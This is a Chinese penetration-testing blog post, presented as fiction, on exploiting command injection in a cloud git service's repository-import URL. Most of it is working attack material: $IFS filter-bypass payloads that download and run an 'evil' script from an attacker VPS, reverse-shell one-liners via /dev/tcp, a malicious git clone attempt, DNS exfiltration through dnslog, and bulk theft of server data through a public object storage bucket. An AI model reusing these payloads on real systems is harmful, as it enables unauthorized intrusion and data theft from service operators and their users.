The more know the more need to learn.

一次幻想的云上渗透

Posted on By Green_m

0x00 前言

我也很久没写博客了,故事纯属虚构,看官看个热闹,如有雷同纯属巧合。

本文主要讲述了我幻想中的一次在云上的渗透,涉及的技术点有命令注入原理,命令注入限制的绕过,dnslog 的使用技巧,云上渗透的一些思路,文中包含大量无证据无截图的攻击思路和试错尝试,真假自辨,如有帮助,不胜荣幸。

0x01 入口

这次的入口来得比较粗暴,就是一个命令注入的漏洞。 漏洞产生的原因是后端将前端输入 shell 中执行命令时,没有将参数按规范进行格式化,而是直接拼接成字符串,然后代入到 bash 中执行,原本最多是个参数注入,变成了命令注入。

我们用实际例子来详细说明这个问题,这块知识比较基础,熟悉的大手子们就可以掠过这部分。

用 python 来示范

import os
import subprocess

host = raw_input("Enter host:")
#host = "green-m.me"

subprocess.call("ping -c 1 %s" % host, shell=True)

我们输入 green-m.me;ls

这样就能够在执行 ping 命令之后,然后再执行 ls 命令,实现命令注入。

为了避免这种情况,我们应该写成如下形式

subprocess.call(["ping", "-c", "1", host])

这样 host 无论是什么值,都会被认为是 ping 的参数,无法实现命令注入。

我这次利用的漏洞就是如此。

0x02 限制与绕过

验证漏洞

看起来这里是一个命令注入命令,以为直接反弹 shell 就结束了? 不,本次渗透才刚刚开始。

这个漏洞发生的业务类似于 gitee.com ,新建 repo 的时候,可以选择 import 仓库,这个 import 的输入就是触发漏洞的地方。

但是,为了限制这个 URL 的合法性,仓库本身对这个 URL 就有诸多限制。经过多次尝试,我大概试出了如下规则。

允许的字符:

$
;
&
()
/
;
%

不允许的字符:

<>
{}
[]
|
\
^
""
空格

限制的字符很多,我们通常的弹 shell 等操作基本都限制了,如

curl x.x.x.x/evil.sh | sh
curl x.x.x.x/evil.sh > aaa.sh && bash aaa.sh
bash -i &> /dev/tcp/x.x.x.x/80 0>&1

类似这样的都不行。

我们先步步为营,用 dnslog 来确认一下命令执行,限制了空格可以用$IFS来绕过(还好$符号还能用)。

完整的 URL 为

https://github.com/qqq;curl$IFS$(whoami).qwewqwe.green-m.me;a.git

可以收到名字为git 的 dns 记录。确认了命令执行的漏洞存在。

绕过限制

想到既然限制这么多,多行命令全部通过前端传进去是不太可能了,也不能直接把 shell 脚本通过管道符传给 sh 运行,那我们可能只能通过写文件到本地来执行了。

构造 payload

https://github.com/qq;aaa=myvpsip/evil;curl$IFS$aaa$IFS-o/tmp/evil;bash$IFS/tmp/evil;rm$IFS/tmp/evil;test.git

分段拆开上面的 payload,方便看清楚实现:

aaa=myvpsip/evil

curl $aaa -o /tmp/evil

bash /tmp/evil

rm /tmp/evil

其中 evil 脚本里面是反弹 shell 的命令,位于 myvpspip/evil 上,通过 curl 下载到本地然后运行脚本,最后别忘了删除。

看到这里,有的小朋友可能会有几个问题:

1. 你为什么要把这么多条命令写到一个 payload 里,多段执行不好吗,先发送 curl 下载的 payload,然后发送运行的命令,你到底会不会?

答: 我确实最开始就是这么想的,但是云上的服务都是有负载均衡和集群的,也就是一个前端对应多个后端,与 kafka/spark/es 等自带集群的模式一样。

在这种模式下,每次可能都是后端某一个服务器运行命令,再通过其他方式保持整个集群同步。也就是意味着,先执行下载命令的 服务器,与第二次执行命令的服务器,不是同一个服务器。当然也不排除有可能两次都是同一个服务器,这个概率与集群大小成反比,我尝试了几次都没成功,遂放弃这个方法。

2. 为什么要先把 vps 的 ip 赋予一个变量,然后 curl 这个变量,这种写法与直接 curl ip 有什么区别?

答: 这种方法主要是因为该处限制比较严格导致的。可以参考如下场景:

curl green-m.me               // 正常使用情况
curl${IFS}green-m.me          // 不使用空格
aaa=green-m.me;curl$IFS$aaa   // 不使用空格和{}
curl$IFSgreen-m.me		    // 不使用空格和{},报错,提示 bash: curl.com: command not found

第四条命令会报错,因为 shell 会把 $IFSgreen-m 认为是一个变量,而不是分开解析成 $IFS 和 green-m.me。为了解决这个问题,我们只能使用第三条命令的方式来保证 payload 正常运行。

到这里,我们就算是成功绕过了限制,如果能成功访问 vps 的脚本,这个命令执行我们就成功搞定了。

0x03 出师不利

一切就绪,监听,运行,仿佛看到了 shell 在向我招手:

What? 居然没弹回来 shell?

我的端口孤孤单单的监听着,就像单身二十五年的男人,渴望着爱情的到来。

/styles/images/snort/p1.png

冷静了一下,开始思考背后的原因,大概分析了一下,觉得可能有这么几个原因:

  • 网络出口是黑白名单机制,vps 不在白名单里。
  • git 不能直接出公网,是通过其他代理或者转发出来的,所以 bash 出不来公网,但 git 能出。

虽然这两种情况还是有不少区别,但对于我来说基本没什么区别,在第一种白名单情况下,想弹回来 shell 基本不可能,第二种方式还有可能出来,但拿不到代理设置,命令也有限制,想弹 shell 还是非常困难。

/styles/images/snort/p1.png ……

那退一步考虑,既然弹 shell 不行,那我们能不能考虑只拿数据,先把情况摸清楚,毕竟从前面我们就知道 dns 协议是可以出来的。但问题出在命令的限制很大,想执行稍微复杂一点的命令基本不可能,只能依靠把远端脚本下载到本地运行,才能写多行数据。

接下来的问题就变成了,如何把一个含有多条命令的 shell 脚本,传到一个服务器能够直接访问的地方呢? 换句话说,要么把脚本传到服务器本地,要么把脚本传到内网其他机器上,就这两个思路。

0x04 第一次尝试

由于这里是一个 git 服务器,可以托管我们的代码,我们自然的想到可以尝试通过上传文件,将所需的 shell 脚本直接放入服务器中。然后我们再执行 shell 脚本就大功告成了!

git 元数据

但是,通过本地测试 gitlab 的实现方法,发现 git 服务器保存 git 文件,并不是如我想象的那样保存完整的目录,也就是说,只保存了 git 的元数据,并不是像我们日常使用一样,能够拿到 git 的完整文件。

也就是说,真正的数据其实是放在 objects 文件夹中的,不能直接拿到完整的文件,git 只保存文件的修改历史。 具体的 git 结构可以参考网上的其他资料,这里不展开。

考虑过使用 git cat-file -p master 来获取文件,如下,我在 .git 目录下执行

$ git cat-file -p HEAD
tree d29b5ec8e326568466c1ea3a071d218229ed812e
parent 99e4cfeb084c98f040ff8872e692446a21d23793
author Green-m <greenm.xxoo@gmail.com> 1573093065 +0800
committer Green-m <greenm.xxoo@gmail.com> 1573093065 +0800
gpgsig -----BEGIN PGP SIGNATURE-----

 iQJKBAABCAA0FiEEEKBAqP4JdDnhHGRjekoOaEtdZ0cFAl3DftMWHGdyZWVubS54
 eG9vQGdtYWlsLmNvbQAKCRB6Sg5oS11nRxPXEACEIspcteR54x4JuuzJnDYIEDYs
 KEGvVEG1ZRnYbwTjhIuGCTI/wbdLcm2lKMxakAw18RXCDmiywYvuyxrVTgZnuyOr
 f3rJ7CodsQ1Fjv/8GJDP/2S08moVzsa18AkaOJiA2Qx61VAs1KFnMaMY6l1FFiDz
 lqHtMANzga12n+dPESjQh6aeJbQ1Wkq1nZHAlzqD0KD3xcbOaBPGEoqgUA/tV/jS
 fxdEQrZ/TLCgi+dIpOTCCFA7kJp+ADU3Wx2yQu7UWJofLnnIAwH5pk1TBzLHRu9J
 +mUE1Zuo5JlgDtXXd2f570XOO/KTbixiMJxv64ILkzzRDr7dSryfGMlrpQaviX2E
 mbmD1/IpZHPaQbQ5yY8DwoYR6AU5bE78CQW/8RBQhAsBLzBOiLdW8xr/MB3wjYLw
 IOj+fptrDdHyNAjYoh00x65Vu54vdqLJR9Bp1f8hu0M+SzBWwtwAyiVdwgre8boj
 95oQfruW6cJY9SU+Najej+6XFb+mIE0hZVMc8r00KHNhm0ilzV8qemTE9FrtByuT
 +mbbHqZdJcWznjcGsmpoIm2g0gf1jGiuoUH4G63o1x/xjF3AZEiTHhgQeHwNydue
 CFzGiTDO7MbAQHi8rw7HilyrgbpsMHi9ScX+vjlwpdSTrnWb3aHsx5QC7NCVxf9n
 2cWvM10hItHywvcSWA==
 =wT6d
 -----END PGP SIGNATURE-----

Add chinese doc.

这样的输出非常乱,包括了我的 commit 信息,作者信息,甚至还有 PGP,最后一句才是我能控制的内容。这样不是标准的 shell 脚本的格式,直接运行第一行就报错了。

本地 clone

我突然想到,平时我们从 github 上 clone 数据的时候,除了带了一个 .git 的文件夹,还把最终的文件也带了下来,这说明 git clone 的时候会进行一些处理,把最终的完整文件给组合出来。 那么,为了实现我们的目的,我们能不能本地 clone 呢?

在本地尝试一下

# green @ greens-MacBook-Pro in /tmp [22:41:54]
$ git clone ~/Tools/dark-shell/.git
Cloning into 'dark-shell'...
done.

# green @ greens-MacBook-Pro in /tmp [22:42:02]
$ ls -la dark-shell
total 120
drwxr-xr-x   7 green  wheel    224 Jun 22 22:42 .
drwxrwxrwt  17 root   wheel    544 Jun 22 22:42 ..
drwxr-xr-x  12 green  wheel    384 Jun 22 22:42 .git
-rw-r--r--   1 green  wheel  35149 Jun 22 22:42 LICENSE
-rw-r--r--   1 green  wheel   1958 Jun 22 22:42 README.md
-rw-r--r--   1 green  wheel  10208 Jun 22 22:42 dark_shell.rb
-rw-r--r--   1 green  wheel   6362 Jun 22 22:42 shell.md

居然可以! 这下我们就能够成功将 shell 脚本传到服务器上了。

远程 clone

到这里,我才发现还有一个问题需要解决:我们并不知道服务器上的目录,不知道服务器保存 git 文件夹的物理路径,那我上传了之后根本不能 clone。

回想前面提到的,git 是能够出公网的,干脆我们从远程 clone ,如今也就只有这一条路能够走通了,死马当活马医。

先上传一个含有 shell 文件的仓库,这里我们选择在自己 vps 上开启一个 git,github 的协议是不允许的。

然后执行如下的 payload:

https://github.com/qq;aaa=vpsip/malicious.git;bbb=clone;ccc=/tmp/dark;git$IFS$bbb$IFS$aaa$ccc;bash$IFS/tmp/dark/evil;test.git

当我在本地测试的时候,发现 git clone vpsip/malicious.git 居然是走的 ssh 协议,而 ssh 协议既要密钥,又要验证 host key 的指纹,而要走 http[s] 就要指明协议头,但是服务器把这些都过滤了,非常难受,这条路基本上死了。

/styles/images/snort/p1.png

0x05 柳暗花明

一个 RCE 从发现到利用肯定是循序渐进的,都走到这一步了不能轻言放弃。

经过不停尝试和不停对云架构的幻想和思考,我觉得一定有云服务和内网的服务器是相通的,不管是监控,还是 DMZ,还是各种数据集群、基础架构,肯定有没隔离到位的地方,而且有的服务我们用户也能访问。

于是,我把目标放在了对象存储上面,在不同的厂商有不同的叫法,比如 S3,COS,OSS,这些对象存储有可能能够直接和内网相通,为了优化速度或者之类的操作。

我们新建一个创建一个对象存储,设置为公开可访问,里面随便放个文件,用来验证是否能通。

https://github.com/qq;aaa=oss.aliyuncs.com/file;curl$IFS$aaa;curl$IFS$?.mydnslog.green-m.me;test.git

提取美化一下关键 payload

aaa=oss.aliyuncs.com/file
curl $aaa
curl $?.mydnslog.green-m.me

$? 表示上一条命令的退出代码,0 表示程序正常退出,无错误,异常退出就是其他不为 0 的数字。

通过这样的命令,我们如果 oss 和我们内网的服务器相通,那么就会发起 0.mydnslog.green-m.me 的请求,否则不通。

通过切换不同的区域,多次尝试,我们成功在 dnslog 中找到一条 0 的记录。

/styles/images/snort/p1.png

0x06 传输数据

花径不曾缘客扫,蓬门今始为君开。

现在我们有两条路,一条是通过 dns 传输数据,动静比较小;另外一条是把敏感数据都压缩打包,然后通过对象存储全部传出来,动静很大。

我们选择先通过 dns 摸清情况,然后再对象存储。

DNS 传输数据

我们使用前面构造的 payload,将要执行的脚本写入到 oss 中,然后下载执行。

https://github.com/qq;aaa=myvpsip/evil;curl$IFS$aaa$IFS-o/tmp/evil;bash$IFS/tmp/evil;rm$IFS/tmp/evil;test.git

这里我们使用 burpsuite 1.7 版本后有的 Collaborator 功能,为了更方便的传输数据,我优化了一个 扩展 Collabfiltrator原仓库地址,感谢原作者的项目,我在他的基础上优化了一些操作和设置,也修改了一些我认为是 bug 的地方。

界面:

/styles/images/snort/p1.png

填入合适的命令,点击 start poll results 开始监听收到的 dns 请求,并进行解析和组合,当命令执行完之后,可以点击 stop 来停止监听。

命令类型分为 windows 和 Linux,有 dig, nslookup 和 ping 来发起 dns 请求。

成功获取到命令执行的结果

/styles/images/snort/p1.png

我们通过 dns 获取到所需的信息,如系统环境,配置信息,还有目录等,该进行下一步了。

对象存储传输数据

将对象存储的权限设置为公开读写,使用 curl 调用 API 接口将数据写入到对象存储桶中,然后从公网下载回来,成功将所有的 git 服务器数据下载回来,这里就不细说了,payload 都在上面提到了。

0xff 后记

其实后面渗透还有 cdn 反弹 shell,横向移动等等操作,限于篇幅和无亮点,这次的博客就差不多到这里,感谢观看。